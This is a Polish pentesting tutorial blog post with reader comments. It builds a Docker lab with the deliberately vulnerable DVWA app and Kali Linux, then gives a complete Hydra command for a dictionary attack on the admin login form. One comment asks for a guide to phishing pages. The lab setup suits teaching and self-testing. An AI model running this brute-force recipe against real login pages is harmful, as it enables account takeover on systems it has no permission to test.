9:19
30/6/2017

Do tej pory, wiedza na temat obsługi narzędzi wykorzystywanych przez pentesterów (i internetowych włamywaczy), była przez nas przekazywana głównie na szkoleniach. Jeśli chcecie zobaczyć na czym dokładnie one polegają, tutaj znajdziecie niezły opis. Postanowiliśmy nieco to zmienić. Dziś rozpoczynamy publikację video poradników pt. Niebezpieczny Poradnik Pentestera, które mają na celu zaznajomienie Was z narzędziami, jakich możecie użyć do testowania bezpieczeństwa własnych stron internetowych. Każdy z naszych filmików uzupełniony będzie artykułem, prezentującym jak krok po kroku wygląda omawiana metoda działania. Na pierwszy ogień idzie jeden z popularniejszych tematów, czyli łamanie haseł do konta z użyciem metody słownikowej (online).

Oto pierwszy odcinek naszego poradnika (poniżej prezentujemy dodatkowy tekstowy opis do tego odcinka).

Potrzebujesz testowego VPS? Ten daje 2 miesiące darmowych testów

Wszystkie nasze poradniki realizowane są na serwerach VPS firmy DigitalOcean z wykorzystaniem rozwiązania jakim jest Docker. Digital Ocean umożliwia szybkie tworzenie VPS-ów z dyskami SSD na szybkich łączach i co ważne — rozlicza je za sekundę pracy. Co więcej, jeśli konto założycie z tego linka, dostaniecie na start 10 dolarów (czyli ok. 2 miesiące pracy serwera za darmo). Dlatego właśnie ten dostawca idealnie nadaje się na “testowe maszynki”. Te same efekty możesz oczywiście osiągnąć konfigurując testowego laba na własnym komputerze.

Konfiguracja laba

Aplikacji z panelami logowania jest w sieci wiele, ale aby nasze testy były w pełni legalne, postawimy na swoim serwerze dedykowany kontener z celowo “dziurawą” aplikacją i to ją będziemy atakować.

Najpierw stwórz swojego VPS-a (Digital Ocean nazywa je Dropletami), wybierając tę opcję:

Nasz serwer testowy został zainstalowany z użyciem obrazu o nazwie Docker 17.05.0-ce on 16.04. Jest to najnowsza wersja Ubuntu z zainstalowanym już oprogramowaniem, które będzie nam potrzebne. Znajdziesz ją w zakładce “One-click apps”.

Po zalogowaniu się na serwer, ściągamy obraz z “Damn Vulnerable Web App“, czyli aplikacją, która celowo została napisana w taki sposób, aby zawierała wiele podatności i można było ją zaatakować na dziesiątki różnych sposobów.

Wydajemy polecenie:
docker pull citizenstig/dvwa

Gdy ściąganie obrazu dobiegnie końca, musimy uruchomić nowy kontener z obrazem systemu z DVWA.

docker run -d -p 80:80 citizenstig/dvwa

Parametr “-p 80:80” sprawi, że prywatny port numer 80 (domyślnie działa tam serwer WWW) zostanie udostępniony jako port 80 naszej głównej maszyny. Dzięki temu, będziemy mogli podglądać atakowaną aplikację spoza środowiska Dockera.

Przygotujmy system operacyjny pentestera

Mamy już gotowy system ofiary, teraz musimy przygotować sobie system na którym będziemy pracować. Posłużymy się tutaj Kali Linuksem. Ściągamy jego obraz:

docker pull kalilinux/kali-linux-docker

UWAGA! Obraz o nazwie kali-linux-docker to nie jest ten sam system, który znasz z wydania na DVD/ISO. Jest to wersja podstawowa, minimalistyczna, która domyślnie nie zawiera żadnego oprogramowania do atakowania serwerów czy aplikacji. Wszystko czego potrzebujemy, będziemy doinstalować osobno.

Uruchamiamy Kali Linuksa:
docker run -t -i kalilinux/kali-linux-docker /bin/bash

Wychodzimy z systemu, bez wyłączania Dockera. Robimy to za pomocą kombinacji klawiszy CTRL+P, CTRL+Q.

Zbudujmy dedykowaną podsieć dla kontenerów ofiary i pentestera

Aby połączyć nasze nowe kontenery w jedną sieć, zakładamy sieć testową (LAB to nazwa naszej sieci — możesz ją zmienić na dowolną):

docker network create lab

Podłączamy dwa kontenery do utworzonej wyżej sieci:

docker network connect lab 123456789

W miejsce 123456789 wpisujemy numer ID pierwszego (dvwa), później drugiego (kali) z kontenerów. Jeśli wszystko poszło dobrze, możemy ponownie wrócić do Kali Linuxa:

docker attach KALI_ID

W miejsce KALI_ID podaj ID kontenera, które znajdziesz w wyjściu polecenia “docker ps” (pierwsza kolumna).

Uzbrajanie Kali Linux

Zacznijmy od pobrania najświeższej listy pakietów z repozytorium Kaliego:

apt-get update

Teraz musimy doinstalować oprogramowanie do łamania haseł — w naszym przypadku będzie to Hydra.

apt-get install hydra

Potrzebujemy słownika!

Będzie nam jeszcze potrzebny słownik z hasłami. Takich słowników, zawierających hasła pochodzące z wycieków ze znanych serwisów internetowych jest w sieci wiele. My jednak posłużymy się tutaj standardowym słownikiem języka angielskiego, dostępnym w Ubuntu, aby przy okazji pokazać Wam, jak można przykładowo przefiltrować zawartość słownika.

Instalujemy go za pomocą polecenia:
apt-get install wamerican

Słownik ten zawiera ponad 100 000 haseł. Aby przyspieszyć atak i ograniczyć go do słów mających od 6 do 8 znaków z zakresu A-Z, wydajemy polecenie:

grep -E '^[a-z]{6,8}$' /usr/shared/dict/wamerican >./maly-slownik.txt

W ten sposób, utworzyliśmy plik “maly-slownik.txt” (w lokalnym katalogu), zawierający niespełna 27 tysięcy haseł.

Właściwa część ataku

Uruchamiamy Hydrę poleceniem:

hydra ID_DVWA http-form-post "/login.php:Login=Login&username=^USER^&password=^PASS^:failed" -l admin -P ./maly-slownik.txt -t 64

pod ID_DVWA podstaw oznaczenie ID kontenera z podatną aplikacją (pierwsza kolumna z “docker ps“).

Wyjaśnienie parametrów:

  • /login.php – nazwa pliku z panelem logowania
  • Login=Login&username=^USER^&password=^PASS^ – zdefiniowanie pól wysyłanych przez formularz (zobacz film!)
  • failed – fragment komunikatu, jaki pojawia się w przeglądarce, gdy hasło jest niepoprawne
  • -l admin – łam hasło jedynie dla użytkownika “admin”
  • -P ./maly-slownik.txt – wczytuj listę haseł z podanego pliku
  • -t 64 – uruchom 64 wątki łamacza haseł (maksymalna wartość, odrobinę za duża dla tak małego VPSa)

Po około 7-8 minutach, hasło do DVWA powinno zostać złamane.

Programów do łamania haseł “online” jest więcej — całkiem niezły jest też ncrack. Przed takimi atakami “próbowania haseł” można się też zabezpieczyć od strony aplikacji na kilka sposobów. Ale to temat na kolejny odcinek…

Podsumowanie

Nasze “poradniki pentestera” mają pokazywać jak pentesterzy lub po prostu programiści czy administratorzy systemów, mogą samodzielnie przetestować swoje środowisko pod kątem popularnych ataków. W tym odcinku zaprezentowaliśmy Wam jeden z najpopularniejszych i najprostszych zarazem ataków na aplikacje webowe — “zgadywanie haseł”. Przypomnijmy, że ostatnio dokładnie tego typu atak okazał się zaskakująco skuteczny i wywołał sporo problemów dla użytkowników Wykopu.

Pamiętaj, że obchodzenie jakichkolwiek zabezpieczeń na serwerach, które nie należą do Ciebie, jest karalne

Do zobaczenia w kolejnym poradniku! Albo na którymś z naszych szkoleń. Jeśli ta tematyka Cię interesuje, to najbliższe szkolenie z bezpieczeństwa webaplikacji (atak i ochrona) odbędzie się w Warszawie 13-14 lipca. Jeśli zdążycie się zarejestrować w ciągu kilku najbliższych dni, uda się Wam załapać jeszcze na niższą cenę. Szczegóły i opinie dotyczące tego szkolenia znajdziecie w tym poście.

PS. Jeśli macie pomysł na kolejny odcinek, niezależnie od tego czy miałby to być opis jakiejś techniki ataku, czy zaprezentowanie sposobu konfiguracji jakiegoś narzędzie, to dajcie nam znać na adres: poradnik@niebezpiecznik.pl. Choć najbliższe odcinki mamy już rozpisane, to postaramy się wziąć pod uwagę Wasze sugestie.

Przeczytaj także:

27 komentarzy

Dodaj komentarz
  1. Bardzo dobra inicjatywa, na pewno bede sledzil cala serie.

    PS. Czy ktos moze polecic literature do podstaw bezpieczenstwa systemow komputerowych i ewentualnie bardziej zaawansowanych zagadnien?

  2. Chociaż znane, to fajnie się czyta – dzięki.

  3. Super!
    Może pokazalibyscie jak stworzyc zaawansowaną stronę phishingową? (Taka która wysyła login i hasło do orginalnej strony aby sprawdzić czy jest poprawne)

    • To raczej nie jest potrzebne administratorom i programistom ;)

    • I nie jest to problemem dla srednio zaawansowanego programisty. Sam nie siedze typowo w webowce zawodowo, ale takie cos to niemal banal…

    • forum Cebulka w sieci tor to protip

  4. dzieki za ciekawy art.

    troche musicie nad swoim docker kung fu popracowac.

    wystarczaja 2 polecenia zeby to uruchomic:
    docker run -d –name goofy_lamarr citizenstig/dvwa:latest
    docker run -it –link goofy_lamarr:dvwa kalilinux/kali-linux-docker:latest /bin/bash

    1) docker run odrazu sciaga obraz jesli go nie ma lokalnie (przy okazji warto uzywac wersji)
    2) -p nie jest konieczne przy polaczeniach z innego kontenera
    3) caly network jest zbedny (jesli pozostajemy na jednym hoscie)
    4)… monza go zastapic –link
    5) uzywanie nazw dla konteenrow upraszcza prace z nimi

    • dostep z zewantrz jest potrzebny zeby zainicjowac baze danych, czyli -p 80:80 zostaje.

      jest tez chyba blad w sciezce do slownika:
      grep -E ‘^[a-z]{6,8}$’ /usr/share/dict/american-english >./maly-slownik.txt

      (share nie shared)

  5. To banalnie poroste:

    Potrzebny jest duży i ciężki słownik, najlepiej w twardej oprawie.
    Umiejętnie użyty pozwala pozyskać wszystkie hasła od delikwenta:D

  6. Świetny poradnik, aczkolwiek podzieliłbym go na dwie części: 1) konfigurację VPS i Dockera, który jest tylko i wyłącznie postawiony do celów pentestów oraz 2) przeprowadzenie samego ataku-testu. Równie dobrze, można zainstalować kali-linux na wirtualnej maszynie i zapuścić hydrę w sposób kontrolowany i świadomy na testowany serwis/serwer/komputer w sieci LAN. Tym samym ominie się punkt 1.

  7. Co do laba na DigitalOcean… Czy nie mają oni monitoringu ruchu, ataków, nadużyć itp. i w takim przypadku nie wyłączą VPSa/konta?

    • Ruchu sieciowego tam raczej nie ma, bo wszystko odbywa sie wewnatrz VPS. Takze nic nie opuszcza sieci lokalnej VPSa

    • W tym przypadku atak jest na kontener Dockera, oba kontenery są na tym samym serwerze, czyli ruch sieciowy nie wychodzi poza ten serwer (loopback/localhost)

  8. Piszecie same bzdury. Przecież atak słownikowy wygląda zupełnie inaczej.

    1. Znajdujesz Admina
    2. https://goo.gl/yFsZC5

  9. Trzeba podac numer karty albo paypal zeb moc dodac vps’a ??

    • Tak, jak chcesz bitcoinami, sprawdź na http://bithost.io . To jest reseller DigitalOcean.

  10. >Parametr “-p 80:80” sprawi, że prywatny port numer 80 (domyślnie działa tam serwer WWW) zostanie udostępniony jako port 80 naszej głównej maszyny. Dzięki temu, będziemy mogli podglądać atakowaną aplikację spoza środowiska Dockera.

    Hm w niezły pomysł z tymi VPSami, ja zawsze stawiam sobie laba z maszyn wirtualnych na własnym kompie. Czasem przez to ledwo dyszy ;)

    Mam tylko jedną wątpkiwość. Czy to dobry pomysł wystawiać Damn Vulnerable Web App na internet? Czy to nie tak działa?

  11. Bardzo fajny wpis i początek serii :)
    Z chęcią coś się nowego dowiem z tej dziedziny :) Im większa świadomość na temat “jak atakują” tym większa możliwość obrony.

  12. Czy na tym VPS-ie można zainstalować Storj Share (program do udostępniania przestrzeni dyskowej w zamian za opłatę w kryptowalucie SJCX)? Żeby działał, musi być odblokowane P2P i oczywiście jak najwięcej pamięci ;)

  13. jako dodatek moglibyście pokazać i przeprowadzić analizę logów :)

    • Kolejne odcinki są w drodze, cierpliwości :)

  14. Ciekawe, ale mam wątpliwości (dwie):
    – opóźnienie ponownego logowania (w przypadku błędnego logowania czekaj np. 5 sekund na możliwość wykonania kolejnej próby) – jak to się zachowa w przypadku ataku takim programem,
    – to są jeszcze jakieś strony które nie są zabezpieczone fail2ban-em? Nie do wiary…

  15. Tekst fajny, ale mam wrażeniem ze autor wiecej uwagi skupil na serwerze testowym niz na samym ataku. Zamiast tego Mozna było opisać kilka narzedzi do ataku slownikowego.

    • chętnie obejrzę/przeczytam Twój poradnik

  16. Witam,

    Uruchamiam komendę:

    docker run -d -p 80:80 citizenstig/dvwa

    następnie

    # docker ps
    CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
    0205d7f109e3 citizenstig/dvwa “/run.sh” 3 days ago Up 3 days 0.0.0.0:80->80/tcp, 3306/tcp admiring_volhard

    ale jak włączam przeglądarkę i wpisuje adres nbzpvps/login.php i mam komunikat “Unable to connect”

    Może ktoś pomóc?

    • Nie wpisuj w przeglądarce nbzpvps/login.php tylko wpisz ADRES_SERWERA/login.php gdzie ADRES_SERWERA to jest adres, pod który łączysz się przez SSH ;)

    • […] lub jeśli masz dockera postawionego u siebie lokalnie (lub na wirtualnej maszynie) to wystarczy localhost/login.php, gdyż poleceniem docker run -p 80:80 … przekierowałeś port 80 kontenera do portu 80 hosta.

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: